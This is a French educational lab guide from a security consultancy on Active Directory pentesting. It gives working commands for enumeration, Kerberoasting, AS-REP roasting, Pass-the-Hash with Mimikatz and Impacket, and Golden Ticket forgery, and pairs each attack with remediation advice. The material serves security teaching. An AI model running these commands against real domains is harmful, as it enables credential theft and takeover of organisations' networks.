🎯 CTF Pédagogique : Pentest Active Directory
Environnement de lab isolé pour comprendre les attaques sur Active Directory et les méthodes de remédiation. Commandes PowerShell, BloodHound, Kerberoasting, Pass-the-Hash et plus encore.
⚠️ Cadre LAB / CTF Pédagogique OBLIGATOIRE
Toutes les commandes et techniques présentées ici sont destinées UNIQUEMENT à un environnement de lab isolé ou CTF interne.
- Réseau isolé (ex : 10.10.0.0/24, pas de connexion Internet)
- Autorisation écrite du propriétaire des machines
- Limitation à des démonstrations non destructives
- Nettoyage et suppression des scripts après utilisation
L'utilisation de ces techniques sur des systèmes sans autorisation explicite est illégale et passible de poursuites judiciaires.
🏗️ Architecture du Lab CTF Active Directory
Environnement de Test Recommandé
Pour pratiquer les techniques de pentest AD en toute sécurité, nous recommandons l'architecture suivante :
🖥️ Machines Virtuelles (VirtualBox ou VMware)
- DC01 : Windows Server 2019/2022 - Contrôleur de domaine (10.10.0.10)
- SRV01 : Windows Server 2019 - Serveur membre (10.10.0.20)
- WKS01 : Windows 10/11 Pro - Poste utilisateur (10.10.0.30)
- Attacker : Kali Linux 2024 - Machine d'attaque (10.10.0.100)
👥 Utilisateurs du Domaine LAB.LOCAL
# Utilisateurs standards
jean.dupont@lab.local (Password: Printemps2024!)
marie.martin@lab.local (Password: Ete2024!)
# Utilisateurs avec privilèges
admin.support@lab.local (Membre de Domain Admins)
svc_backup@lab.local (Compte de service avec SPN)
# Utilisateurs vulnérables
user.kerberoastable@lab.local (SPN configuré, mot de passe faible)
user.asreproast@lab.local (Pre-authentication désactivée)
⚔️ Scénarios d'Attaque Active Directory
🔍 Attaque 1 : Énumération Active Directory
Objectif : Cartographier le domaine AD, identifier les utilisateurs, groupes, ordinateurs et relations de confiance.
Phase 1 : Énumération avec PowerView
PowerView est un module PowerShell pour l'énumération AD.
# Importer PowerView
Import-Module .\PowerView.ps1
# Lister tous les utilisateurs du domaine
Get-DomainUser | Select-Object samaccountname, description
# Lister les membres du groupe Domain Admins
Get-DomainGroupMember -Identity "Domain Admins"
# Énumérer les ordinateurs du domaine
Get-DomainComputer | Select-Object dnshostname, operatingsystem
# Trouver les comptes de service avec SPN (Kerberoasting)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
Phase 2 : BloodHound - Cartographie des Chemins d'Attaque
BloodHound visualise les relations AD et identifie les chemins vers Domain Admin.
# Sur Kali Linux : Collecter les données AD avec SharpHound
sudo python3 bloodhound.py -u jean.dupont -p 'Printemps2024!' -d lab.local -ns 10.10.0.10 -c All
# Importer les données dans Neo4j
sudo neo4j console
# Puis ouvrir BloodHound GUI et importer le fichier .zip généré
# Requête BloodHound : Shortest Path to Domain Admins
# Dans l'interface BloodHound, utiliser la requête pré-construite
🛡️ Remédiation : Limiter l'Énumération AD
- Désactiver les comptes inactifs (désactivation automatique après 90 jours)
- Limiter les permissions de lecture LDAP aux utilisateurs authentifiés
- Masquer les comptes de service dans les listes publiques (attribut
userAccountControl) - Implémenter des honey accounts pour détecter l'énumération
- Monitorer les requêtes LDAP anormales (volume élevé en peu de temps)
🎫 Attaque 2 : Kerberoasting
Objectif : Extraire les tickets Kerberos TGS des comptes de service et cracker les mots de passe hors ligne.
Phase 1 : Identifier les Comptes Kerberoastables
# PowerView : Lister les comptes avec SPN
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
# Rubeus : Lister les comptes Kerberoastables
.\Rubeus.exe kerberoast /stats
Phase 2 : Extraire les Tickets TGS
# Rubeus : Demander un ticket TGS pour tous les comptes avec SPN
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Impacket (Linux) : Kerberoasting à distance
impacket-GetUserSPNs lab.local/jean.dupont:'Printemps2024!' -dc-ip 10.10.0.10 -request
# Le résultat sera un hash au format :
# $krb5tgs$23$*user.kerberoastable$lab.local$MSSQLSvc/srv01.lab.local:1433*$...
Phase 3 : Cracker le Hash avec Hashcat
# Hashcat : Cracker le ticket TGS (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
# John the Ripper : Alternative
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
🛡️ Remédiation : Prévenir Kerberoasting
- Mots de passe longs et complexes pour les comptes de service (minimum 25 caractères aléatoires)
- Utiliser des Group Managed Service Accounts (gMSA) avec rotation automatique
- Limiter les SPN uniquement aux comptes qui en ont réellement besoin
- Monitorer les requêtes TGS inhabituelles (ticket demandé pour tous les SPNs en rafale)
- Activer l'audit
4769 - A Kerberos service ticket was requested
🔓 Attaque 3 : AS-REP Roasting
Objectif : Exploiter les comptes utilisateurs dont la pré-authentification Kerberos est désactivée pour récupérer un hash crackable hors ligne.
Phase 1 : Identifier les Comptes Vulnérables
# PowerView : Trouver les comptes sans pré-authentification
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
# LDAP Query directe
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
Phase 2 : Extraire le Hash AS-REP
# Rubeus : AS-REP Roasting
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# Impacket (Linux)
impacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip 10.10.0.10 -format hashcat
# Le hash sera au format :
# $krb5asrep$23$user.asreproast@LAB.LOCAL:...
Phase 3 : Cracker le Hash
# Hashcat : Cracker AS-REP (mode 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force
🛡️ Remédiation : Prévenir AS-REP Roasting
- Ne JAMAIS désactiver la pré-authentification Kerberos (attribut
DONT_REQ_PREAUTH) - Audit régulier des comptes avec cette option via PowerShell ou GPO
- Monitorer les tentatives AS-REQ sans pré-authentification (Event ID 4768)
- Politique de mots de passe robuste même si pré-auth activée (défense en profondeur)
🔑 Attaque 4 : Pass-the-Hash (PTH)
Objectif : Utiliser le hash NTLM d'un utilisateur (sans connaître le mot de passe) pour s'authentifier sur d'autres machines du domaine.
Phase 1 : Extraction du Hash NTLM
Prérequis : Accès administrateur local sur WKS01.
# Mimikatz : Extraire les hash de la mémoire (LSASS)
privilege::debug
sekurlsa::logonpasswords
# Résultat exemple :
# Username : admin.support
# Domain : LAB
# NTLM : 88846f7eaee8fb117ad06bdd830b7586
# CrackMapExec : Extraction via SMB
crackmapexec smb 10.10.0.30 -u jean.dupont -p 'Printemps2024!' --sam
Phase 2 : Authentification Pass-the-Hash
# Impacket : Utiliser le hash pour s'authentifier (psexec)
impacket-psexec -hashes :88846f7eaee8fb117ad06bdd830b7586 admin.support@10.10.0.20
# CrackMapExec : Vérifier l'accès admin sur plusieurs machines
crackmapexec smb 10.10.0.0/24 -u admin.support -H 88846f7eaee8fb117ad06bdd830b7586 --local-auth
# Mimikatz : PTH pour obtenir un shell
sekurlsa::pth /user:admin.support /domain:lab.local /ntlm:88846f7eaee8fb117ad06bdd830b7586
🛡️ Remédiation : Bloquer Pass-the-Hash
- Protected Users Group : Placer les comptes privilégiés dans ce groupe (empêche NTLM)
- Credential Guard : Activer Windows Defender Credential Guard (virtualisation de LSASS)
- Disable NTLM : Forcer Kerberos uniquement via GPO (déprécier NTLM)
- LAPS : Local Administrator Password Solution pour rotation automatique des mots de passe admins locaux
- MFA : Authentification multi-facteurs pour les comptes admin
- Monitorer l'utilisation de comptes privilégiés sur plusieurs machines (détection mouvement latéral)
👑 Attaque 5 : Golden Ticket (Persistance Totale)
Objectif : Créer un ticket Kerberos TGT forgé avec le hash NTLM du compte
krbtgt pour obtenir un accès Domain Admin persistant.
Phase 1 : Extraction du Hash krbtgt
Prérequis : Accès Domain Admin sur le contrôleur de domaine.
# Mimikatz : Extraire le hash krbtgt depuis le DC
lsadump::dcsync /domain:lab.local /user:krbtgt
# Résultat :
# Hash NTLM: b7e1a6c5f4d8e2a3c9f6b4e8d7a5c3f1
Phase 2 : Création du Golden Ticket
# Mimikatz : Créer un Golden Ticket
kerberos::golden /user:fakeadmin /domain:lab.local /sid:S-1-5-21-... /krbtgt:b7e1a6c5f4d8e2a3c9f6b4e8d7a5c3f1 /ptt
# Impacket (Linux)
impacket-ticketer -nthash b7e1a6c5f4d8e2a3c9f6b4e8d7a5c3f1 -domain-sid S-1-5-21-... -domain lab.local fakeadmin
# Vérifier le ticket injecté
klist
# Utiliser le ticket pour accéder au DC
dir \\dc01\c$
🛡️ Remédiation : Mitiger les Golden Tickets
- Rotation du mot de passe krbtgt : À effectuer 2 fois (avec 10h d'intervalle) après un incident
- Monitorer les événements Kerberos anormaux : Tickets avec durée de vie excessive (>10h)
- Protected Users Group : Empêche l'utilisation de NTLM pour ces comptes
- PAW (Privileged Access Workstation) : Machines dédiées pour l'administration AD
- Audit des accès Domain Admin : Tout accès doit être justifié et tracé
- Détection via SIEM : Tickets Kerberos avec SID Domain Admins non légitime
🛠️ Outils de Pentest Active Directory
Toolkit Recommandé pour le Lab
🔵 Outils Windows (PowerShell)
# PowerView (PowerShell Empire)
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
# Rubeus (C# Kerberos abuse)
https://github.com/GhostPack/Rubeus
# Mimikatz (credential dumping)
https://github.com/gentilkiwi/mimikatz
# SharpHound (BloodHound collector)
https://github.com/BloodHoundAD/SharpHound
🔴 Outils Linux (Kali)
# Impacket (suite Python pour AD)
sudo apt install impacket-scripts
# BloodHound + Neo4j (visualisation AD)
sudo apt install bloodhound neo4j
# CrackMapExec (exploitation réseau)
sudo apt install crackmapexec
# Kerbrute (énumération users via Kerberos)
https://github.com/ropnop/kerbrute
🟡 Outils d'Analyse
# PingCastle (audit AD automatisé)
https://www.pingcastle.com/download/
# ADRecon (collecte info AD en PowerShell)
https://github.com/adrecon/ADRecon
# Purple Knight (Semperis - détection de faiblesses AD)
https://www.purple-knight.com/
Besoin d'un Pentest Active Directory Professionnel ?
Connect3S réalise des audits de sécurité AD complets pour identifier et corriger les vulnérabilités de votre infrastructure Windows avant qu'un attaquant ne les exploite.
Demander un audit AD →